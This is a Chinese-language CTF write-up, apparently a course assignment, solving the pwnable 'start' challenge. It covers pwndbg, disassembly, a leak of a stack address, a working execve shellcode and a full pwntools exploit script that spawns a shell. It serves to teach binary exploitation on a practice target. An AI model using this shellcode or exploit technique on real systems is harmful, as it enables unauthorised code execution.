【二進制安全作業】250617課上作業4 - start

文章目錄

  • 前言
  • 一、使用環境
  • 二、pwndbg介紹
    • 1. 命令介紹
    • 2. 界面介紹
  • 三、反匯編分析
  • 四、Shellcode
  • 五、解題思路
  • 六、編寫EXP
  • 結語


前言

作業3遇到了很嚴重的問題,一直沒搞定,先略過了,要講的東西也一起放到這里講吧。
這道題是 pwnable 的第一道題 start 。


一、使用環境

處理器架構:x86_64
操作系統:Ubuntu24.04.2
GDB版本:16.2
pwndbg:2025.05.30


二、pwndbg介紹

這次使用新工具 pwndbg 講解(代替 gdb)。還沒安裝的可以在 環境搭建 最下面的 250616補充內容 中找到。

之前安裝了一直也沒有用,今天嘗試了一下還是很舒服的,先做一些介紹。

1. 命令介紹

pwndbg 是 gdb 的插件,所以 gdb 里能用的,pwndbg 也都能用。還有一些額外的功能:

  • 內存搜索
    search <pattern>
    
    pattern:要搜索的內容。可以用來搜索程序包含的字符串
  • 查看棧內容
    stack <count>
    
    count:要查看的棧幀數,比用 x 命令來查要方便很多。但是一般用不到,因為 pwndbg 里默認就會顯示棧。
  • 堆分析
    heap <addr>
    
    addr:堆塊的第一個地址。暫時還沒學到相關內容,沒有用過。
  • ROP支持
    rop --grep <asm>
    
    不加選項時列出所有可用的 rop。
    可以使用 --grep 選項指定要匹配的 rop。
  • GOT/PLT表
    got
    plt
    
    got 可以查看全局偏移量表。
    plt 可以查看過程鏈接表。
  • 內存映射
    vmmap
    
    可以查看程序中各個段的情況
  • 查看文件安全
    checksec
    
    可以先在 pwndbg 中啟動程序,然后用 checksec 查看安全信息,要方便一些。
  • 默認上下文視圖
    context
    
    就是用 pwndbg 調試時默認的顯示方式,如果因為某些原因導致顯示的內容上滾得太遠,又不方便讓程序繼續運行,可以用這個命令讓調試窗口重新顯示出來。

2. 界面介紹

pwndbg 的調試界面默認由四部分組成。

第一部分是寄存器:
在這里插入圖片描述

以前經常看的內容,在 gdb 里要用 i(nfo) r(egisters) 查看。

第二部分是反匯編:
在這里插入圖片描述
最主要的部分,在 gdb 里要用 disas(semble) 查看。

第三部分是棧:
在這里插入圖片描述
很關鍵的部分,但是在 gdb 里看起來比較麻煩,要通過 x 查看 esp/rsp 附近的內存,在 pwndbg 里要方便很多。

第四部分是調用棧:
在這里插入圖片描述
這里可以看到函數調用和返回的順序,以前的案例都比較簡單,所以很少用,在 gdb 里用 bt 查看。


三、反匯編分析

沒有源碼,我上傳了一個附件,也可以在 pwnable 下載。

使用 pwndbg 啟動程序,使用 start 命令執行:
在這里插入圖片描述
這里就體現出 pwndbg 的優越性了,因為以前我用 gdb 調試過這個程序,gdb 的 start 要找 main 函數執行,所以并不能啟動這個程序,需要用 objdump 或者 info functions 之類的方法先找到程序入口,打了斷點,然后才能開始調試,用 pwndbg 就要簡單很多,直接 start 就可以了。

忘了 checksec,補充一下,無傷大雅:
在這里插入圖片描述

這里看不到完整的反匯編,可以用 disas 看一下:
在這里插入圖片描述
一個簡單而又純粹的程序,沒有任何一條多余的指令,看起來很漂亮。

注意這里是 intel 風格的匯編,如果有需要可以使用 set disassembly-flavor att 改為 AT&T 風格的匯編。

這個匯編程序大體可以分為四部分:
在這里插入圖片描述
第一部分是準備工作。
首先壓棧了一個 esp,這一步看似無用,對程序來說也確實沒用,它唯一的意義是人為制造了一個漏洞……你懂的。
然后壓棧了 _exit 函數的地址,在 pwndbg 的默認反匯編窗口可以看到這個地址是 _exit 函數。作用是預留給 ret 用于跳轉到程序結束。
4 個 xor 指令用于清空寄存器。
最后 push 壓棧字符串。看不出這段數據是什么也沒關系,我們可以等它進棧了再看它是什么。

第二部分有一個很顯眼的 int 0x80 ,在進行系統調用,所以要先看 eax 是什么,這里的 al 是 ax 寄存器的低 8 位,傳送了一個 4 ,x86 架構的 4 號系統調用是 write ,這一部分的作用是輸出一個字符串。

在這里再簡單復習一下系統調用的用法。x86 架構下,使用 int 0x80 觸發系統調用,觸發時,eax 保存的值為系統調用號,ebx、ecx、edx、esi、edi 分別保存第一二三四五個參數。x86_64 架構下,使用 syscall 觸發系統調用,rax 保存系統調用號,rdi、rsi、rdx、r10、r8、r9 分別保存第一二三四五六個參數。對于系統調用號和調用參數不熟悉的可以查閱這個 手冊

第三部分同樣有一個系統調用,觀察 eax ,賦值的是 3 ,所以這里是 read 系統調用,要接收輸入,接收長度在 edx,0x3c,共 60 字節。

第四部分是結束程序,esp + 20,指向 _exit 的位置,然后跳轉,_exit 的具體實現就不管了,總之程序結束。

安全性上 Stack 的值是 No canary found ,可以棧溢出 。

esp 的移動只有20個字節,可輸出的長度足有60個字節,顯然這里是留給我們溢出的。但是用 objdump 或是 info functions 可以發現,這個程序并沒有什么后門函數,所以不適用之前的通過棧溢出跳轉到某個函數來拿到 shell 的方法。

但是它足有 60 個字節,就算前面要用于溢出和跳轉,60 - 20 也還剩 40 個字節,并且 NX 的值是 NX disabled ,棧上可執行,所以我們就可以考慮自己寫一個函數在棧上,通過執行它來獲取shell了。

四、Shellcode

一個新的概念,什么是 shellcode ?用來獲取 shell 的 code 就是 shellcode 。

無論什么編程語言,最終都要轉換成匯編語言來執行,匯編語言就約等于供人類閱讀的機器碼,是運行最高效的編程語言,所以直接在內存上用二進制寫 shellcode,可以做到極致的簡潔且高效。

shellcode 的原理也很簡單,就是執行一段匯編代碼,這段匯編代碼要執行類似于 execve 這種可以啟動 shell 的系統調用。

使用

man 2 execve

可以看到原型如下:

int execve(const char *pathname, char *const _Nullable argv[],char *const _Nullable envp[]);

execve 的第一個參數是一個可以啟動 shell 的命令字符串,接收一個指針常量,其實就是字符數組。在匯編中的體現,就是一個指向字符串的地址,字符串一般使用 “/bin/sh” 。第二個和第三個參數用 NULL。

轉換成x86的匯編代碼,就是在 eax 里存 execve 的系統調用號 11 ,ebx 里存指向 “/bin/sh” 的地址,ecx 和 edx 存 0,然后執行 int 0x80。

xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80

不知道為什么使用 AT&T 風格匯編會報錯,只能用 intel 風格了,和 AT&T 風格最大的區別是源操作數在后,目的操作數在前。

前兩行是給 ecx 和 edx 清零,第三行是給 eax 賦值 11 。
第四和第五行是把 “/bin/bash\0” 壓棧,注意這里壓棧的是數字,小端序的數字入棧時是低對低,高對高的,相對于字符串的順序來說就是低位在前,高位在后,所以是倒序壓棧的。
第六行是把 esp 的值傳送給 ebx ,也就是把 “/bin/bash\0” 字符串的開始地址給 ebx 。
第七行是觸發系統調用。

在 pwntools 中可以用 asm() 將這段匯編代碼匯編為字節串。

輸出一下 shellcode ,計算一下長度:

from pwn import *context.arch='amd64'
context.os='linux'
context.endian='little'shellcode=asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")s = [f"\\x{i:02x}" for i in shellcode]
print(''.join(s))
print(len(shellcode))

因為直接輸出會有部分字符進行 ASCII 轉換,所以稍微處理一下。當然不處理也沒關系,一般來講也沒有必要特意輸出出來,只要能正常執行,長度符合要求,字節串直接拿來用就好了。

輸出結果:

在這里插入圖片描述
shellcode 為 \x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
長度 23 字節。

五、解題思路

現在我們看懂了匯編代碼,也有了 shellcode ,那剩下的問題就是,怎么讓程序執行 shellcode ?

在這里插入圖片描述

把斷點打在輸入之后:

b *_start+57

運行輸入 ffff :
在這里插入圖片描述
在棧中可以很輕松地看到,棧頂就是輸入字符串的地方,地址在 0xffffd1b4 ,而跳轉的地址在 0xffffd1c8 ,跳轉目標是 _exit 函數。

可輸入的長度是 60,跳轉地址在第 21 到 24 字節,也就是偏移量是 20 ,可以放 shellcode 的內存為前 20 字節或后 36 字節,現在手里的 shellcode 長度為 23 字節,所以只能放在后 36 字節中,我們測試一下:

把跳轉地址的 _exit 函數改為下一個存儲單元:

set {int}0xffffd1c8=0xffffd1cc

再把下一個存儲單元開始的內容替換為 shellcode :

set {char[24]}0xffffd1cc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

查看棧:
在這里插入圖片描述
已經替換成功了,還可以看一眼 shellcode 的指令:
在這里插入圖片描述
和我們寫的匯編代碼是一樣的,既然棧是可以執行的,那理論上就是可以成功的,按 c 執行:
在這里插入圖片描述
命令成功執行了,似乎是拿到了 shell ,但是 pwndbg 崩潰了,這個大概是 pwndbg 的問題,我們用 gdb 再來一遍。

在這里插入圖片描述
打斷點,執行,看棧,和剛才都是一樣的,只是棧看起來要稍微麻煩一點,我標注了字符串開始的地方和跳轉的地方,然后修改值:

set {int}0xffffd2d8=0xffffd2dc
set {char[24]}0xffffd2dc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

輸入 c 執行:
在這里插入圖片描述
已經成功拿到 shell 了,但是到這里就結束了嗎?

從剛才實現的方式來看,如果要寫 exp ,我們需要拿到函數返回的地址,而在 pwndbg 和 gdb 的兩次測試中,這個地址是不一樣的。棧的位置是隨機的,我們沒有辦法把它寫死,更沒有辦法拿到 ctf 服務器上棧的地址,所以現在的問題變成了,要如何獲得棧的地址?

源程序的匯編代碼中,有一條和棧高度相關的指令,也就是第一條的 push esp ,它把棧頂壓入了棧中。

我們重新啟動 pwndbg ,觀察第一條指令:
在這里插入圖片描述
執行指令之前,此時 esp 指向的地址是 0xffffd1d0 ,對于黑盒測試來說這個地址是未知的,也無法通過查看寄存器的方式查看它的實際地址,但是我們執行第一條指令:

在這里插入圖片描述
push 相當于兩條指令,先是移動 esp 指向前一個存儲單元,然后再把 push 的操作數存在 esp 當前指向的位置,于是 esp 之前指向的地址 0xffffd1d0 現在被存在棧上 0xffffd1cc 的位置了。

而程序繼續執行的話,會調用輸出的函數,于是我們就有了獲得這個棧中數據的機會。

繼續觀察程序運行,重點觀察棧的變化:
在這里插入圖片描述
仔細感受準備階段中棧的變化,因為 pwndbg 對棧中的內容有一定的解析,已經很容易理解了。

之后的兩個系統調用只會往內存中輸入一個字符串,并不會對 esp 的位置產生影響,我們再次來到 _start+57 :
在這里插入圖片描述
當前這一條指令的內容是 esp + 0x14 ,所以可以預見,執行完這一條指令之后,esp 指向的位置是 0xffffd1c8 。

再下一條指令是 ret ,ret 相當于 pop eip,會將 esp 指向存儲單元的內容彈給 eip ,并讓 esp 指向下一個存儲單元,而下一個存儲單元保存的內容,就是我們想要的棧的地址。如果此時能調用輸出的系統調用把 esp 指向的內容輸出出來,我們就可以得到這個地址,而這個程序中輸出的系統調用輸出字符串的地址來源正是 esp :

在這里插入圖片描述
所以只要在跳轉的時候,我們讓程序跳轉到輸出的系統調用的位置,程序就會將這個地址輸出出來,那么檢驗一下,將跳轉地址修改到 write 系統調用準備參數的地方:

set {int}0xffffd1c8=0x08048087

執行程序:
在這里插入圖片描述
此時程序經過 ret , esp 已經指向最初壓棧 esp 的位置,準備執行 mov ecx, esp,要將 esp 指向的地址傳給 ecx 用于 write 輸出,繼續執行:
在這里插入圖片描述

這里 pwndbg 還貼心地顯示了使用的系統調用和每個參數的值。

繼續執行時輸出了一段亂碼:
在這里插入圖片描述
write 是一個底層輸出用的系統調用,會按照給定的字節數輸出,而不是處理字符串邏輯,所以此時 write 想要把這個地址的內容以字符輸出 20 字節,然而這里保存的不是 ASCII 值,而是地址,所以這里輸出的應該是這一部分:
在這里插入圖片描述

至于具體是怎么輸出的就不研究了,我們只要在 pwntools 中接收前 4 個字節,就可以得到一個確切的地址了,剩下的只要通過這個地址計算偏移量就好了。

繼續分析程序,下一步程序要進行 read 的系統調用,此時棧里的情況是這樣的:
在這里插入圖片描述
要注意,我們拿到的地址并不是此時棧頂的地址,而是棧頂地址中保存的下一個存儲單元的地址。程序還會第二次接收輸入,從當前棧頂位置開始輸入,并且 esp 也會再一次 +20,之后會用 esp 指向位置保存的值作為地址來跳轉。所以我們應該在字符串開始 +20 偏移量的位置寫跳轉的地址,在地址后面寫 shellcode ,然后跳轉到我們拿到的地址 +20 偏移量的位置執行 shellcode。

到這里思路已經明了,也不再做更多的測試了,直接開始寫 EXP。

六、編寫EXP

from pwn import *# 全局配置
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'shellcode = asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")# 記錄系統調用 write 開始的地址
write_addr = p32(0x8048087)
# 偏移量
offset = 20with process('./start') as r:# 第一次溢出,跳轉回 write 系統調用first = b'A' * offset + write_addrr.sendafter(b':', first)# 接收 4 個字節的地址esp_addr = u32(r.recv(4))# 第二次溢出,偏移量+shellcode地址+shellcodesecond = b'A' * offset + p32(esp_addr + offset) + shellcoder.send(second)r.interactive()

在這里插入圖片描述
已經成功了,$ 前的一串字節串,就是第二次執行 write 輸出的那 20 字節,去掉前 4 字節后剩下的部分,因為執行到 interactive() 就一起輸出出來了。

要想拿下 flag ,只要把 process 改成 remote ,參數給域名和端口號就可以了。


結語

雖然前段時間就把這個做出來了,但是也沒敢發,邏輯很繞,細講太難講了,也沒想到這么快就學到這道題了。今天挺艱難地算是寫出來了,不知道大家接受的怎么樣?歡迎留言討論。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/84396.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/84396.shtml
英文地址,請注明出處:http://en.pswp.cn/web/84396.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【vivado中實現時序仿真】

這里寫自定義目錄標題 如何在vivado中實現時序仿真準備工作設計輸入與管理綜合與實現仿真與調試IP核與重用硬件編程與配置設計分析與優化跨平臺支持與兼容性編寫測試激勵代碼運行時序仿真查看和分析結果高級技巧 如何在vivado中實現時序仿真 在Vivado中進行時序仿真&#xff0…

運維常用命令

目錄 一、系統監控與性能分析 vmstat命令 一、命令語法及核心參數 二、輸出字段解析&#xff08;關鍵列&#xff09; 三、工作場景案例 1. 排查 CPU 瓶頸 2. 內存不足導致 Swap 頻繁 3. 磁盤 I/O 性能問題 4. 系統卡頓實時監控 5. 高級用法&#xff1a;統計內存事件 …

代碼隨想錄day10棧和隊列1

文章目錄 數組模擬棧棧的應用 單調棧棧(stack) 數組模擬隊列隊列stl(queue)雙端隊列stl(deque)滑動窗口單調隊列 232.用棧實現隊列225. 用隊列實現棧20. 有效的括號1047. 刪除字符串中的所有相鄰重復項 數組模擬棧 題目鏈接 #include <iostream> #include <cstdio&g…

Unity 把廣告收入(revenue)上報到AppsFlyer

文章目錄 第一步第二步 官方文檔 第一步 升級版本 如果你的AppsFlyer版本大于文檔中要求的6.15以上&#xff0c;即可跳過第一步 在unity這里可以看到AppsFlyer版本 下載最新版本地址 在這個位置&#xff0c;單獨下載這個unitypackage包就行 如果是用srict-mode(嚴格模式)…

2023年藍橋杯青少第十四屆藍橋杯Scratch省賽中級組真題——小狗避障

小伙伴們&#xff0c;7月的全國信息素養大賽復賽準備得怎么樣了&#xff1f;推薦到家做完信息素養大賽的歷年真題后&#xff0c;可以有選擇性的做做藍橋杯青少的編程題&#xff0c;質量還是蠻好的&#xff5e; 下面這道是&#xff1a; 2023年藍橋杯青少第十四屆藍橋杯Scratch…

為復雜iOS應用實施多重安全保護:從Ipa混淆到加密的完整安全方案

在現代移動應用的開發過程中&#xff0c;尤其是那些涉及用戶隱私、支付或企業敏感數據的應用&#xff0c;安全問題早已成為不可忽視的核心問題。iOS系統由于其相對封閉的生態和嚴格的審核機制&#xff0c;通常被認為具有較高的安全性。然而&#xff0c;隨著破解技術的發展&…

docker 如何優化容器啟動時間

優化 Docker 容器啟動時間&#xff0c;尤其在大規模部署、CI/CD 或微服務架構中非常關鍵。啟動慢會影響響應時間、彈性擴縮容和用戶體驗。以下是從鏡像構建、容器運行、依賴管理等多個方面整理的 容器啟動加速方案&#xff1a; 一、優化鏡像構建&#xff08;啟動慢 ≈ 鏡像臃腫…

基于 Python Django 框架的寵物醫院管理系統設計與實現

摘要 本研究針對傳統寵物醫院管理模式存在的效率低下、信息不共享、服務流程繁瑣等問題&#xff0c;設計并實現了一個基于 Python Django 框架的寵物醫院管理系統。系統采用 B/S 架構&#xff0c;整合了客戶管理、寵物管理、醫生管理、診療管理、藥品管理、庫存管理、財務管理…

6612345(Web打印瀏覽器) 開發歷程

6612345(Web打印瀏覽器) 開發歷程 2022年7月,由于chrome新版本的限制, HttpPrinter(Web打印插件) 從http協議轉為websocket協議. 為了提前預防chrome后續版本(至于哪個版本,我們也不知道)無法和本地插件通信,我們重新定制了一款chrome瀏覽器.繞過通訊限制. 首個版本,基于微軟…

信安實驗室CTF writeup

文章目錄 1、白給簽到2、Welcome3、Get4、Post5、滴滴滴6、每逢佳節7、Bacon8、古典變奏9、affine10、affine-revenge11、Random_encrypt12、easy_re13、re114、ez_xor15、maze16、easy_php17、easy_bypass18、Autumn19、easy_Cookie20、[白給] 連上就給flag21、小兔子22、我在…

【入門級-基礎知識與編程環境:NOI以及相關活動的歷史】

NOI 及相關活動的歷史如下&#xff1a; 1984 年&#xff1a;鄧小平同志提出 “計算機的普及要從娃娃抓起”。為響應這一號召&#xff0c;中國計算機學會&#xff08;CCF&#xff09;于當年自主創建了面向中學生的 “全國青少年程序設計競賽”&#xff0c;當年參加競賽的有 8000…

微軟應用商店打不開怎么辦2025,打開TLS1.3

微軟應用商店打不開怎么辦? 應用商店打不開 步驟如下 1. “Internet選項”、“高級”&#xff0c;進行設置 注意&#xff1a;將“使用TSL 1.2”和“使用TSL 1.3”都勾選上&#xff0c;再點擊“應用” 應該最主要是TLS1.3&#xff0c;我之前TLS1.2開了的。 2. 選擇“連接”…

C/C++ 高頻八股文面試題1000題(一)

原作者&#xff1a;Linux教程&#xff0c;原文地址&#xff1a;C/C 高頻八股文面試題1000題(一) 在準備技術崗位的求職過程中&#xff0c;C/C始終是繞不開的核心考察點。無論是互聯網大廠的筆試面試&#xff0c;還是嵌入式、后臺開發、系統編程等方向的崗位&#xff0c;C/C 都…

JetBrains IDE v2025.1 升級,AI 智能+語言支持齊飛

2025.1 大版本同步上線&#xff0c;JetBrains 家族全員升級&#xff01;不只是性能提升&#xff0c;更有 AI 驅動開發、大語言支持、終端大改&#xff0c;為開發者帶來真正的生產力飛躍。接下來&#xff0c;一起來看看 IntelliJ IDEA、PyCharm、GoLand、CLion 等產品的重磅亮點…

高性能群集部署技術-LVS+Keepalived高可用群集

目錄 #1.1Keepalived雙機熱備基礎知識 1.1.1Keepalived概述及安裝 1.1.2Keepalived的熱備方式 1.1.3Keepalived的安裝與服務控制 #2.1使用Keeplived實現雙機熱備 2.1.1主服務器的配置 2.1.2備用服務器的配置 2.1.3測試雙機熱備功能 #3.1使用Keeplived實現雙機熱備的實驗案例…

ros中相機話題在web頁面上的顯示,嘗試js解析sensor_msgs/Image數據

ros中相機話題在web頁面上的顯示 思路&#xff1a; rosbridge websocket 開啟ros與web的通路&#xff0c; 話題數據轉換為image或者繪制在 canvas中。 話題格式&#xff1a; sensor_msgs/Image 測試數據編碼類型為bgr8 嘗試&#xff1a; 解析 為bitmap arraybuffer 寫入bgr…

PowerShell批量處理文件名稱/內容的修改

在日常的文件管理與處理中&#xff0c;常常需要對大量文件名或文件內容進行修改&#xff0c;而手動逐個操作既繁瑣又容易出錯。PowerShell作為一種強大的腳本語言&#xff0c;為我們提供了高效批量處理文件名及內容修改的解決方案。通過編寫簡單的PowerShell腳本&#xff0c;可…

GA3C(GPU/CPU混合式異步優勢Actor-Critic)算法實現控制倒立擺

GA3C算法實現倒立擺 完整代碼在文章結尾 GA3C算法 GPU/CPU混合式異步優勢AC算法&#xff0c;是由A3C算法進一步優化而來&#xff0c;為了更好利用GPU計算資源。 GA3C理論上與A3C相同&#xff0c;屬于On-Policy。但由于存在延遲更新問題&#xff0c;導致用于策略更新的數據并…

基礎RAG實現,最佳入門選擇(六)

帶有問題生成的文檔增強RAG 通過問題生成使用文檔增強來實現增強的RAG方法。通過為每個文本塊生成相關問題&#xff0c;改進了檢索過程&#xff0c;從而從語言模型中獲得更好的響應。 具體實現步驟 1.數據攝取&#xff1a;從PDF文件中提取文本。 2.chunking&#xff1a;將文本…

vue3 電商類網站實現規格的選擇

目前有一個這樣的需求 類似淘寶 京東選擇 但是在人家大廠給的數據我不清除是什么樣子的 我這邊后端給的數據 一開始是想把規格全部顯示出來的 發現實現不了 后端的數據有限 因為必須選擇一個顏色 才可以對應的第二個規格 才知道有沒有庫存 因為這個庫存 是由兩個規格決定…